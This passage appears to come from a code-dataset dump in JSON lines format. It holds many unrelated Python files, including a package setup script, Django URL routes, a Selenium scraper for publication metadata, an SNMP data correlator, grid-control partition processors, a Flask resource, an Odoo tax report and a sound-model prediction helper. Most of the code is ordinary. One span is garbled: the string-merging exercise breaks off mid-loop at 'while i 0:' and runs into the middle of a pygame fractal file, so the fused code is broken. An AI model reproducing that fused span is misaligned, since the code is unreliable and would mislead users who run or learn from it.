newcentroids\n cluster = getclusters(X, oldcentroids)\n show(oldcentroids, cluster)\n newcentroids =new_centroids(oldcentroids,cluster)","sub_path":"Lab3/source/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"236635320","text":"\nwith open(\"README.rst\") as f:\n readme = f.read()\n\nconfig = {\n 'name': 'mesos_cli',\n 'version': '0.0.0',\n 'description': 'Mesos CLI Tools',\n 'long_description': readme,\n 'author': 'Thomas Rampelberg',\n 'author_email': 'thomas@mesosphere.io',\n 'maintainer': 'Mesosphere',\n 'maintainer_email': 'support@mesosphere.io',\n 'url': 'https://github.com/mesosphere/mesos-cli',\n 'packages': [\n 'mesos_cli'\n ],\n 'entry_points': {\n 'console_scripts': [\n 'mesos = mesos_cli:main',\n\n 'mesos-cat = mesos_cli.cat:main',\n 'mesos-find = mesos_cli.find:main',\n 'mesos-head = mesos_cli.head:main',\n 'mesos-help = mesos_cli.help:main',\n 'mesos-ls = mesos_cli.ls:main',\n 'mesos-ps = mesos_cli.ps:main',\n 'mesos-resolve = mesos_cli.resolve:main',\n 'mesos-scp = mesos_cli.scp:main',\n 'mesos-ssh = mesos_cli.ssh:main',\n 'mesos-tail = mesos_cli.tail:main'\n ]\n },\n 'install_requires': [\n \"blessings\",\n \"gevent\",\n \"kazoo\",\n \"prettytable\",\n \"protobuf\",\n \"requests\"\n ]\n}\n\nfrom setuptools import setup\n\nsetup(**config)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270431090","text":"#write a program to merge characters of 2 strings into a single string by taking characters alternatively?\n# input: S1='RAVI'\n# S2='TEJA'\n# output: RTAEVJIA\n \n\ns1 = input('enter first string: ')\ns2 = input('enter second string: ')\n\ni,j=0,0\noutput=''\nwhile i 0:\n count -= 1\n # Top left\n self.recursive_draw(x,y, width//2,height//2,count)\n # Top right\n self.recursive_draw(x+width//2,y, width//2,height//2,count)\n # Bottom left\n self.recursive_draw(x,y+width//2, width//2,height//2,count)\n # Bottom right\n self.recursive_draw(x+width//2,y+width//2, width//2,height//2,count)\n #endif \n #end_def \n \nif __name__ == '__main__': \n \n print (\"Main program start.\")\n print (\"Python version: \")\n print (sys.version)\n\n fractal = Fractal()\n fractal.run() \n # TimeTest001()\n\n print (\"Main program ends\")\n","sub_path":"pygame/fractal.py","file_name":"fractal.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"163071895","text":"from django.conf.urls import url\nfrom badmin import views\n\nurlpatterns = [\n url(r'index/', views.index, name='aindex'),\n url(r'weclome/', views.weclome, name='aweclome'),\n url(r'syslog/', views.log, name='syslog'),\n url(r'changepass/', views.changepass, name='changepass'),\n url(r'charts7/', views.charts7, name='charts7'),\n url(r'charts6/', views.charts6, name='charts6'),\n url(r'charts5/', views.charts5, name='charts5'),\n url(r'charts4/', views.charts4, name='charts4'),\n url(r'charts3/', views.charts3, name='charts3'),\n url(r'charts2/', views.charts2, name='charts2'),\n url(r'charts1/', views.charts1, name='charts1'),\n\n url(r'chart1/', views.chart1, name='chart1'),\n url(r'chart4/', views.chart4, name='chart4'),\n url(r'chart5/', views.chart5, name='chart5'),\n url(r'chart6/', views.chart6, name='chart6'),\n\n url(r'alist/', views.alist, name='alist'),\n url(r'aper/', views.aper, name='aper'),\n url(r'arol/', views.arol, name='arol'),\n url(r'mlist/', views.mlist, name='mlist'),\n\n url(r'ulist/', views.ulist, name='ulist'),\n url(r'plist/', views.plist, name='plist'),\n url(r'pcate/', views.pcate, name='pcate'),\n url(r'olist/', views.olist, name='olist'),\n\n url(r'madd/', views.madd, name='madd'),\n url(r'addadmin/$', views.adminadd, name='adminadd'),\n\n\n # 添加产品分类\n url(r'addcate/(?P\\d+)/(?P\\d+)/', views.addcate, name='addcate'),\n # 删除分类\n url(r'delcate/(?P\\d+)/(?P\\d+)/', views.delcate, name='delcate'),\n # 添加商品\n url(r'proadd/(?P\\d+)/(?P\\d+)/', views.addproduct, name='poradd'),\n # 获取商品分类\n url(r'getcate/', views.getcate, name='getcate'),\n # 删除商品\n url(r'delpro/(?P\\d+)/', views.delpro, name='delpro'),\n # 用户登录\n url(r'login/', views.login, name='login'),\n url(r'logout/', views.logout, name='logout'),\n # 获取验证码\n url(r'check_code/', views.set_code, name='checkcode'),\n\n]\n","sub_path":"Beauty/badmin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"576776067","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: Juan Andrés Cabral\r\nYou can reach me at: juan.drs.c@gmail.com\r\n\"\"\"\r\n\r\n# Packages\r\nfrom selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport pandas as pd\r\nimport requests \r\nimport time\r\n\r\n\r\n\r\nsave_path=\"\" # Path where csv will be saved\r\ndriver = webdriver.Chrome(\" \") # Chrome driver path\r\nurl_list=[''] # All urls lists \r\n# Example of URL: https://app.dimensions.ai/discover/publication?or_facet_source_title=jour.1018957\r\n\r\n\r\n# Main code:\r\nfor searchurls in url_list: \r\n url = searchurls\r\n \r\n # Number of results\r\n driver.get(url)\r\n page = requests.get(url)\r\n html = driver.page_source \r\n soup = BeautifulSoup(html)\r\n \r\n resultsnumber=int(soup.find('div',{'class':'sc-6lq5t8-13 jjoHIn'}).text.replace(',',''))\r\n no_of_pagedowns = resultsnumber/2 # This one depends on the speed of browser to load all the page\r\n # Load all the results via scrolling down\r\n \r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n elem = driver.find_element_by_tag_name(\"html\")\r\n \r\n while (no_of_pagedowns>0):\r\n elem.send_keys(Keys.PAGE_DOWN)\r\n time.sleep(.7)\r\n no_of_pagedowns-=1\r\n print('Scroll down left:',no_of_pagedowns)\r\n\r\n # Extract urls from papers\r\n \r\n html = driver.page_source \r\n soup = BeautifulSoup(html)\r\n \r\n url_abstracts = []\r\n data = soup.findAll('article',attrs={'class':'n0bn8v-6 cBNkjo resultList__item','data-bt':'publication_result_item'})\r\n for elm in data:\r\n link = elm.find('a',{'class':'w3owpf-0 einqZr w3owpf-1 z0mrsy-0 hRtMMp resultList__item__title__primary'}).get(\"href\")\r\n link = \"https://app.dimensions.ai\"+link\r\n url_abstracts.append(link)\r\n \r\n print(\"Urls found:\", len(url_abstracts))\r\n # Sometimes dimensions list the same article multiple times\r\n # Check duplications and delete them\r\n \r\n # Duplicate values\r\n duplicates=len(url_abstracts)==len(set(url_abstracts))\r\n duplicatesnumber=len(url_abstracts)-len(set(url_abstracts))\r\n if duplicates == False:\r\n print(duplicatesnumber, \"Duplicates values found\")\r\n else:\r\n print(\"No duplicates values found\")\r\n # Show duplicates\r\n import collections \r\n print([item for item, count in collections.Counter(url_abstracts).items() if count > 1])\r\n \r\n # Drop duplicates\r\n d_url_abstracts=url_abstracts\r\n url_abstracts = list(dict.fromkeys(url_abstracts))\r\n # Extract titles, abstracts, journal\r\n abstracts=[]\r\n titles=[]\r\n journal=[]\r\n citations=[]\r\n authors=[]\r\n institution=[]\r\n nauthors=[]\r\n counter=0\r\n for paper in url_abstracts:\r\n # Iterate for each paper/url\r\n counter+=1\r\n url = paper\r\n driver.get(url)\r\n html = driver.page_source \r\n soup = BeautifulSoup(html) \r\n \r\n # Abstracts\r\n data1 = soup.findAll('div',attrs={'class':'sc-1vq0mqb-0 jiOUXH'})\r\n for elm in data1:\r\n abs_text = elm.find('p',{'class':'sgay21-1 FqKVk'}).text\r\n abstracts.append(abs_text)\r\n abs_text='none' # Some articles don't have abstracts\r\n # Title and journal\r\n data2 = soup.findAll('div',attrs={'class':'details_title'})\r\n for elm in data2:\r\n tit_text = elm.find('h1',{'data-bt':'details-title', 'class':'sc-10se207-0 hfRwDd'}).text\r\n jour_text=elm.find('a',{'class':'w3owpf-0 einqZr w3owpf-1 z0mrsy-0 hRtMMp'}).text \r\n \r\n titles.append(tit_text)\r\n journal.append(jour_text)\r\n \r\n # Citations\r\n cit = soup.find('span',{'class':'__dimensions_Badge_stat_count'})\r\n if cit is None:\r\n cit='none'\r\n else:\r\n cit=str(cit) # Transform to str to slice for numbers of citations\r\n cit=cit[44:] # Keep only number of citations\r\n cit=cit[:-7] # Keep only number of citations\r\n citations.append(cit)\r\n # Authors and institutions\r\n auth_text=soup.find_all('div',{'class':'s46ce1-0 bGKWPk'}) # Authors and institution are in the same class\r\n if len(auth_text)==0: # Sometimes the html is different # THIS SECTION NEEDS WORK\r\n allauthors='none'\r\n alluniv='none'\r\n else: \r\n alluniv=''\r\n allauthors=''\r\n for i in range(len(auth_text)): # Iterate and separate authors from institutions\r\n authorn=auth_text[i].text.split(' - ')[0]\r\n try: # Some articles doesn't have information about authors' institution\r\n univn=auth_text[i].text.split(' - ')[1] \r\n except:\r\n univn='none'\r\n if i ==0:\r\n allauthors=allauthors+authorn\r\n alluniv=alluniv+univn\r\n else:\r\n allauthors=allauthors+' - '+authorn\r\n alluniv=alluniv+' - '+univn\r\n nauthors.append(len(auth_text)) # Number of authors\r\n authors.append(allauthors)\r\n institution.append(alluniv)\r\n \r\n time.sleep(1) # Wait to avoid being blocked by many requests\r\n if counter==len(url_abstracts):\r\n print(\"Finished\")\r\n else:\r\n continue\r\n # Save data in csv\r\n papers = {'title':titles,'abstract':abstracts,'journal':journal,'authors':authors,\r\n 'nauthors':nauthors,'institution':institution,'citation':citations}\r\n \r\n df = pd.DataFrame(data=papers)\r\n path=save_path+journal[0]+\".csv\"\r\n df.to_csv(path_or_buf=path,sep=',', na_rep='', float_format=None, \r\n columns=None, header=True, index=False, index_label=None)\r\n time.sleep(10) # Wait to avoid being blocked by many requests\r\n \r\n\r\n","sub_path":"Dimensions scrapping.py","file_name":"Dimensions scrapping.py","file_ext":"py","file_size_in_byte":5795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"583146393","text":"\"\"\"\nWrite a function that prints all the prime numbers\nbetween 0 and limit where limit is a parameter.\n\"\"\"\n\n\ndef prime_check(limit):\n for num in range(0, limit+1):\n if num > 1:\n for i in range(2, num):\n if num % i == 0:\n break\n else:\n print(num)\n if num == 0 or num == 1:\n print(f'{num} is neither prime nor composite')\n\n\nn = int(input('Enter the limit : '))\nprime_check(n)\n","sub_path":"prime-numbers.py","file_name":"prime-numbers.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"240609167","text":"from dotenv import load_dotenv\nimport json\nimport requests\nimport os\n\n# initialization\nload_dotenv(dotenv_path=\".idea/.env\")\nAPIKEY = os.getenv(\"APIKEY\")\n\nurl = \"https://api.twelvedata.com/complex_data?apikey=\" + str(APIKEY)\n\ndata = {\n \"symbols\": [\"AAPL\", \"MSFT\", \"GOOG\"],\n \"intervals\": [\"1day\"],\n \"outputsize\": 25,\n \"methods\": [\n \"time_series\",\n {\n \"name\": \"ema\",\n \"time_period\": 12\n }\n\n ]\n}\n\ndata = json.dumps(data)\n\nrequest = requests.post(url, data)\n\nprint(request.text)","sub_path":"complex.py","file_name":"complex.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"367907921","text":"# | Copyright 2015-2016 Karlsruhe Institute of Technology\n# |\n# | Licensed under the Apache License, Version 2.0 (the \"License\");\n# | you may not use this file except in compliance with the License.\n# | You may obtain a copy of the License at\n# |\n# | http://www.apache.org/licenses/LICENSE-2.0\n# |\n# | Unless required by applicable law or agreed to in writing, software\n# | distributed under the License is distributed on an \"AS IS\" BASIS,\n# | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# | See the License for the specific language governing permissions and\n# | limitations under the License.\n\nfrom grid_control.backends import WMS\nfrom grid_control.datasets.pproc_base import PartitionProcessor\nfrom grid_control.datasets.splitter_base import DataSplitter\nfrom grid_control.parameters import ParameterInfo, ParameterMetadata\nfrom python_compat import any, imap, lfilter, lmap, set\n\nclass BasicPartitionProcessor(PartitionProcessor):\n\talias = ['basic']\n\n\tdef _formatFileList(self, fl):\n\t\treturn str.join(' ', fl)\n\n\tdef getKeys(self):\n\t\tresult = lmap(lambda k: ParameterMetadata(k, untracked = True), ['FILE_NAMES', 'MAX_EVENTS',\n\t\t\t'SKIP_EVENTS', 'DATASETPATH', 'DATASETBLOCK', 'DATASETNICK'])\n\t\tresult.append(ParameterMetadata('DATASETSPLIT', untracked = False))\n\t\treturn result\n\n\tdef getNeededKeys(self, splitter):\n\t\tenumMap = {\n\t\t\tDataSplitter.FileList: 'FILE_NAMES',\n\t\t\tDataSplitter.NEntries: 'MAX_EVENTS',\n\t\t\tDataSplitter.Skipped: 'SKIP_EVENTS'}\n\t\tfor enum in splitter.neededEnums():\n\t\t\tyield enumMap[enum]\n\n\tdef process(self, pNum, splitInfo, result):\n\t\tresult.update({\n\t\t\t'FILE_NAMES': self._formatFileList(splitInfo[DataSplitter.FileList]),\n\t\t\t'MAX_EVENTS': splitInfo[DataSplitter.NEntries],\n\t\t\t'SKIP_EVENTS': splitInfo.get(DataSplitter.Skipped, 0),\n\t\t\t'DATASETPATH': splitInfo.get(DataSplitter.Dataset, None),\n\t\t\t'DATASETBLOCK': splitInfo.get(DataSplitter.BlockName, None),\n\t\t\t'DATASETNICK': splitInfo.get(DataSplitter.Nickname, None),\n\t\t\t'DATASETSPLIT': pNum,\n\t\t})\n\t\tresult[ParameterInfo.ACTIVE] = result[ParameterInfo.ACTIVE] and not splitInfo.get(DataSplitter.Invalid, False)\n\n\nclass LocationPartitionProcessor(PartitionProcessor):\n\talias = ['location']\n\n\tdef __init__(self, config):\n\t\tPartitionProcessor.__init__(self, config)\n\t\tself._filter = config.getFilter('partition location filter', '', onChange = None,\n\t\t\tdefaultMatcher = 'blackwhite', defaultFilter = 'weak')\n\t\tself._preference = config.getList('partition location preference', [], onChange = None)\n\t\tself._reqs = config.getBool('partition location requirement', True, onChange = None)\n\t\tself._disable = config.getBool('partition location check', True, onChange = None)\n\n\tdef enabled(self):\n\t\treturn self._filter.getSelector() or self._preference or self._reqs or self._disable\n\n\tdef process(self, pNum, splitInfo, result):\n\t\tlocations = self._filter.filterList(splitInfo.get(DataSplitter.Locations))\n\t\tif self._preference:\n\t\t\tif not locations: # [] or None\n\t\t\t\tlocations = self._preference\n\t\t\telif any(imap(lambda x: x in self._preference, locations)): # preferred location available\n\t\t\t\tlocations = lfilter(lambda x: x in self._preference, locations)\n\t\tif (splitInfo.get(DataSplitter.Locations) is None) and not locations:\n\t\t\treturn\n\t\tif self._reqs and (locations is not None):\n\t\t\tresult[ParameterInfo.REQS].append((WMS.STORAGE, locations))\n\t\tif self._disable:\n\t\t\tresult[ParameterInfo.ACTIVE] = result[ParameterInfo.ACTIVE] and (locations != [])\n\n\nclass MetaPartitionProcessor(PartitionProcessor):\n\talias = ['metadata']\n\n\tdef __init__(self, config):\n\t\tPartitionProcessor.__init__(self, config)\n\t\tself._metadata = config.getList('partition metadata', [], onChange = None)\n\n\tdef getKeys(self):\n\t\treturn lmap(lambda k: ParameterMetadata(k, untracked = True), self._metadata)\n\n\tdef enabled(self):\n\t\treturn self._metadata != []\n\n\tdef process(self, pNum, splitInfo, result):\n\t\tfor idx, mkey in enumerate(splitInfo.get(DataSplitter.MetadataHeader, [])):\n\t\t\tif mkey in self._metadata:\n\t\t\t\tdef getMetadataProtected(x):\n\t\t\t\t\tif idx < len(x):\n\t\t\t\t\t\treturn x[idx]\n\t\t\t\ttmp = set(imap(getMetadataProtected, splitInfo[DataSplitter.Metadata]))\n\t\t\t\tif len(tmp) == 1:\n\t\t\t\t\tvalue = tmp.pop()\n\t\t\t\t\tif value is not None:\n\t\t\t\t\t\tresult[mkey] = value\n\n\nclass TFCPartitionProcessor(PartitionProcessor):\n\talias = ['tfc']\n\n\tdef __init__(self, config):\n\t\tPartitionProcessor.__init__(self, config)\n\t\tself._tfc = config.getLookup('partition tfc', {}, onChange = None)\n\n\tdef enabled(self):\n\t\treturn not self._tfc.empty()\n\n\tdef _lookup(self, fn, location):\n\t\tprefix = self._tfc.lookup(location, is_selector = False)\n\t\tif prefix:\n\t\t\treturn prefix + fn\n\t\treturn fn\n\n\tdef process(self, pNum, splitInfo, result):\n\t\tfl = splitInfo[DataSplitter.FileList]\n\t\tlocations = splitInfo.get(DataSplitter.Locations)\n\t\tif not locations:\n\t\t\tsplitInfo[DataSplitter.FileList] = lmap(lambda fn: self._lookup(fn, None), fl)\n\t\telse:\n\t\t\tfor location in locations:\n\t\t\t\tsplitInfo[DataSplitter.FileList] = lmap(lambda fn: self._lookup(fn, location), fl)\n\n\nclass RequirementsPartitionProcessor(PartitionProcessor):\n\talias = ['reqs']\n\n\tdef __init__(self, config):\n\t\tPartitionProcessor.__init__(self, config)\n\t\tself._wtfactor = config.getFloat('partition walltime factor', -1., onChange = None)\n\t\tself._wtoffset = config.getFloat('partition walltime offset', 0., onChange = None)\n\t\tself._ctfactor = config.getFloat('partition cputime factor', -1., onChange = None)\n\t\tself._ctoffset = config.getFloat('partition cputime offset', 0., onChange = None)\n\t\tself._memfactor = config.getFloat('partition memory factor', -1., onChange = None)\n\t\tself._memoffset = config.getFloat('partition memory offset', 0., onChange = None)\n\n\tdef enabled(self):\n\t\treturn any(imap(lambda x: x > 0, [self._wtfactor, self._ctfactor, self._memfactor,\n\t\t\tself._wtoffset, self._ctoffset, self._memoffset]))\n\n\tdef _addReq(self, result, splitInfo, factor, offset, enum):\n\t\tvalue = offset\n\t\tif factor > 0:\n\t\t\tvalue += factor * splitInfo[DataSplitter.NEntries]\n\t\tif value > 0:\n\t\t\tresult[ParameterInfo.REQS].append((enum, int(value)))\n\n\tdef process(self, pNum, splitInfo, result):\n\t\tself._addReq(result, splitInfo, self._wtfactor, self._wtoffset, WMS.WALLTIME)\n\t\tself._addReq(result, splitInfo, self._ctfactor, self._ctoffset, WMS.CPUTIME)\n\t\tself._addReq(result, splitInfo, self._memfactor, self._memoffset, WMS.MEMORY)\n","sub_path":"packages/grid_control/datasets/pproc_basic.py","file_name":"pproc_basic.py","file_ext":"py","file_size_in_byte":6335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"272208905","text":"def sleep(n):\r\n N = n\r\n s = {'0','1','2','3','4','5','6','7','8','9'}\r\n while len(s) != 0:\r\n s = s.difference({x for x in str(N)})\r\n N = N + n\r\n return N - n\r\n \r\nf0 = open('A-large.in','r')\r\nf1 = open('outLarge.txt','w')\r\nT = int(f0.readline())\r\nansL = []\r\nfor t in range(T):\r\n n = int(f0.readline())\r\n if n==0:\r\n ansL.append('INSOMNIA')\r\n else:\r\n ansL.append(sleep(n))\r\nfor t in range(T):\r\n print(ansL[t])\r\n f1.write('Case #'+str(t+1)+': '+str(ansL[t])+'\\n')\r\nf0.close()\r\nf1.close()\r\n\r\n","sub_path":"codes/CodeJamCrawler/16_0_1/Nattapatboon/codejam1.py","file_name":"codejam1.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"24015302","text":"\"\"\"\nCalculate collected data\n\"\"\"\n\nimport copy\nimport logging\nimport sys\n\n####################################################################################################\nclass SnmpCorrelator():\n \"\"\"\n Calculate collected data\n \"\"\"\n \n def __init__(self):\n self.oldData = PerfData()\n self.newData = PerfData()\n self.calcData = PerfData()\n self.logger = logging.getLogger()\n \n def getOldData(self):\n return self.oldData\n \n def getNewData(self):\n return self.newData\n \n def getCalcData(self):\n return self.calcData\n \n def updateCalcData(self, cate, oidList, dataList={}):\n \"\"\"\n Calculate data according to type: ((new perf. data) - (old) perf. data) / time\n @param cate(str) Category\n @param oidList(dict) ObjectID dictionary\n @param dataList(dict) Data dictionary\n @return modified data list {oid:(time, value),...} or False\n \"\"\"\n \n # clear calculated performance data\n self.calcData.initialize()\n \n # if not exist performance data in a category\n if self.oldData.getDataList(cate) is False:\n self.oldData.copyDataList(cate, dataList)\n \n # calculate difference between old and new performance data divided by time\n else:\n self.newData.copyDataList(cate, dataList)\n \n for oid in oidList.keys():\n \n # if value exists\n if self.newData.getDataObj(cate, oid) is False:\n pass\n \n else:\n if self.oldData.getDataObj(cate, oid) is False:\n pass\n \n else: \n oTime = self.oldData.getDataObj(cate, oid)[0]\n oData = self.oldData.getDataObj(cate, oid)[1]\n nTime = self.newData.getDataObj(cate, oid)[0]\n nData = self.newData.getDataObj(cate, oid)[1]\n \n if oidList[oid][1] == \"dif\":\n dTime = float(nTime) - float(oTime)\n dData = float(nData) - float(oData)\n \n if dTime == 0.0:\n self.logger.log(logging.WARN, \"Old and New data are same.\")\n \n elif dTime < 0.0:\n self.logger.log(logging.ERROR, \"snmpCorrelator.py is wrong.\")\n sys.exit(\"SnmpCorrelator.py is wrong.\")\n \n else:\n self.calcData.copyDataObj(cate, oid, (nTime, dData/dTime))\n \n elif oidList[oid][1] == \"raw\":\n self.calcData.copyDataObj(cate, oid, (nTime, nData))\n \n else:\n self.logger.log(logging.ERROR, \"config.ini description is wrong. Please check an attribute for object.\")\n sys.exit(\"config.ini description is wrong. Please check an attribute for object.\")\n \n self.oldData.copyDataObj(cate, oid, self.newData.getDataObj(cate, oid)) \n\n####################################################################################################\nclass PerfData():\n \"\"\"\n Temporary store performance data \n \"\"\"\n \n def __init__(self):\n self.data = {}\n \n def initialize(self):\n self.data.clear()\n \n def getDataDict(self):\n return self.data\n \n def getDataList(self, cate):\n if self.data.get(cate) is None:\n return False\n else:\n return self.data[cate]\n \n def getDataObj(self, cate, oid):\n if self.data.get(cate) is None:\n return False\n else:\n if self.data[cate].get(oid) is None:\n return False\n else:\n return self.data[cate][oid]\n \n def copyDataDict(self, dataDict):\n self.data = copy.deepcopy(dataDict)\n \n def copyDataList(self, cate, dataList):\n self.data[cate] = copy.deepcopy(dataList)\n \n def copyDataObj(self, cate, oid, data):\n if self.data.get(cate) is None:\n self.data[cate] = {}\n self.data[cate][oid] = copy.deepcopy(data)\n ","sub_path":"pytest001/snmpCorrelator.py","file_name":"snmpCorrelator.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"246836947","text":"from flask_restful import Resource, reqparse\nfrom flask_jwt import JWT, jwt_required\nfrom models.store import StoreModel\n\nclass Store(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument(\n \"store_id\",\n type=int,\n required=True,\n help=\"This field can not be left blank\"\n )\n\n def get(self, name):\n store = StoreModel.find_by_name(name=name)\n if store is not None:\n return store.json(), 200\n else:\n return {'message': 'The store has not been found'}, 404\n\n def post(self, name):\n store = StoreModel.find_by_name(name=name)\n if store is not None:\n return {'message': 'The store already exist'}, 400\n else:\n store = StoreModel(name=name)\n store.save_store_to_db()\n return store.json(), 201\n\n def delete(self, name):\n store = StoreModel.find_by_name(name=name)\n if store is not None:\n store.delete_store_from_db()\n return {'message': 'The store has been deleted'}\n else:\n return {'message': 'The store has not been found'}\n\n\nclass StoreList(Resource):\n def get(self):\n return {'stores': [store.json() for store in StoreModel.query.all()]}\n","sub_path":"resources/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"212884034","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api, tools\n\n\nclass XLSXReportTaxExemptionReceipt(models.TransientModel):\n _name = 'xlsx.report.tax.exemption.receipt'\n _inherit = 'report.account.common'\n\n filter = fields.Selection(\n readonly=True,\n default='filter_period',\n )\n calendar_period_id = fields.Many2one(\n 'account.period.calendar',\n string='Calendar Period',\n required=True,\n default=lambda self: self.env['account.period.calendar'].find(),\n )\n taxbranch_id = fields.Many2one(\n 'res.taxbranch',\n string='Taxbranch',\n required=True,\n )\n tax = fields.Selection(\n [('OX', 'OX')],\n string='Tax',\n default='OX',\n )\n results = fields.Many2many(\n 'tax.exemption.view',\n string='Results',\n compute='_compute_results',\n help='Use compute fields, so there is nothing store in database',\n )\n\n @api.multi\n def _compute_results(self):\n \"\"\"\n Solution\n 1. Get from customer invoice, cutomer refund, invoice entries\n (exclude tax)\n \"\"\"\n self.ensure_one()\n Result = self.env['tax.exemption.view']\n where_str = \"\"\n if self.calendar_period_id:\n where_str += \" AND am.period_id = %s\" % str(self.calendar_period_id.id)\n if self.taxbranch_id:\n where_str += \" AND rtb.id = %s\" % str(self.taxbranch_id.id)\n if self.tax:\n where_str += \" AND at.description = '%s'\" % self.tax\n\n self._cr.execute(\"\"\"\n ((SELECT inv.move_id, inv.taxbranch_id, inv.date_invoice,\n STRING_AGG(DISTINCT atd.invoice_number, ', ') as number_preprint,\n inv.partner_id, SUM(atd.base) AS amount_untaxed, inv.amount_tax,\n inv.source_document_id, inv.number, NULL AS document_origin,\n inv.validate_user_id\n FROM account_invoice inv\n LEFT JOIN account_invoice_line invl on invl.invoice_id = inv.id\n LEFT JOIN account_invoice_line_tax ailt on ailt.invoice_line_id = invl.id\n LEFT JOIN account_tax at on at.id = ailt.tax_id\n LEFT JOIN account_move am on am.id = inv.move_id\n LEFT JOIN res_taxbranch rtb on rtb.id = inv.taxbranch_id\n LEFT JOIN account_tax_detail atd on atd.ref_move_id = am.id\n WHERE inv.type IN ('out_invoice', 'out_refund')\n AND inv.state NOT IN ('draft', 'cancel')\n %s\n GROUP BY inv.move_id, inv.taxbranch_id, inv.date_invoice,\n inv.partner_id, inv.amount_untaxed, inv.amount_tax, inv.source_document_id,\n inv.number, inv.validate_user_id\n )\n UNION ALL\n (SELECT iae.move_id, iael.taxbranch_id,\n iael.date AS date_invoice,\n STRING_AGG(DISTINCT atd.invoice_number, ', ') AS number_preprint,\n iael.partner_id, SUM(atd.base) AS amount_untaxed,\n (SELECT ABS(SUM(credit) - SUM(debit))\n FROM interface_account_entry_line\n WHERE tax_id IS NOT NULL AND interface_id = iae.id\n GROUP BY interface_id) AS amount_tax,\n NULL AS source_document_id, iae.number,\n iae.name AS document_origin, iae.validate_user_id\n FROM interface_account_entry iae\n LEFT JOIN interface_account_entry_line iael\n ON iae.id = iael.interface_id\n LEFT JOIN account_move am on am.id = iae.move_id\n LEFT JOIN account_tax at on at.id = iael.tax_id\n LEFT JOIN res_taxbranch rtb on rtb.id = iael.taxbranch_id\n LEFT JOIN account_tax_detail atd on atd.ref_move_id = am.id\n WHERE iae.type = 'invoice' AND iae.state = 'done'\n %s\n GROUP BY iae.id, iael.taxbranch_id, iael.date, iael.tax_id,\n iael.partner_id))\n \"\"\" % (where_str, where_str))\n\n line_ids = self._cr.dictfetchall()\n self.results = [Result.new(line).id for line in line_ids]\n\n\nclass TaxExemptionlView(models.AbstractModel):\n _name = 'tax.exemption.view'\n #_auto = False\n\n move_id = fields.Many2one(\n 'account.move',\n string='Move',\n readonly=True,\n )\n taxbranch_id = fields.Many2one(\n 'res.taxbranch',\n string='Tax Branch',\n readonly=True,\n )\n date_invoice = fields.Date(\n string='Posting Date',\n readonly=True,\n )\n number_preprint = fields.Char(\n string='Preprint Number',\n readonly=True,\n )\n partner_id = fields.Many2one(\n 'res.partner',\n string='Partner',\n readonly=True,\n )\n amount_untaxed = fields.Float(\n string='Subtotal',\n readonly=True,\n )\n amount_tax = fields.Float(\n string='Tax',\n readonly=True,\n )\n source_document_id = fields.Reference(\n [('purchase.order', 'Purchase'),\n ('sale.order', 'Sales'),\n ('hr.expense.expense', 'HR Expense')],\n string='Source Document Ref.',\n readonly=True,\n )\n number = fields.Char(\n string='Document Number',\n readonly=True,\n )\n document_origin = fields.Char(\n string='Document Origin',\n readonly=True,\n )\n validate_user_id = fields.Many2one(\n 'res.users',\n string='Validated By',\n readonly=True,\n )\n","sub_path":"pabi_account_report/reports/xlsx_report_tax_exemption_receipt.py","file_name":"xlsx_report_tax_exemption_receipt.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"474291816","text":"\"\"\"DEPRECATED: use opensoundscape.torch.predict instead\n\nthese functions are currently used only to support `localization.py`\nthe module contains a pytorch prediction function (deprecated) and some additional functionality for using gradcam\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.nn.functional import softmax\nfrom torchvision import transforms, models\n\nfrom PIL import Image\n\nfrom opensoundscape.helpers import binarize\n\n\ndef predict(\n model, img_paths, img_shape, batch_size=1, num_workers=12, apply_softmax=True\n):\n \"\"\" get multi-class model predictions from a pytorch model for a set of images\n \n Args:\n model: a pytorch model object (not path to weights)\n img_paths: a list of paths to RGB png spectrograms\n batch_size=1: pytorch parallelization parameter\n num_workers=12: pytorch parallelization parameter\n apply_softmax=True: if True, performs a softmax on raw output of network\n \n returns: df of predictions indexed by file\"\"\"\n\n class PredictionDataset(torch.utils.data.Dataset):\n def __init__(self, df, height=img_shape[0], width=img_shape[1]):\n self.data = df\n\n self.height = height\n self.width = width\n\n self.mean = torch.tensor([0.8013 for _ in range(3)])\n self.std_dev = [0.1576 for _ in range(3)]\n\n self.transform = transforms.Compose(\n [transforms.ToTensor(), transforms.Normalize(self.mean, self.std_dev)]\n )\n\n def 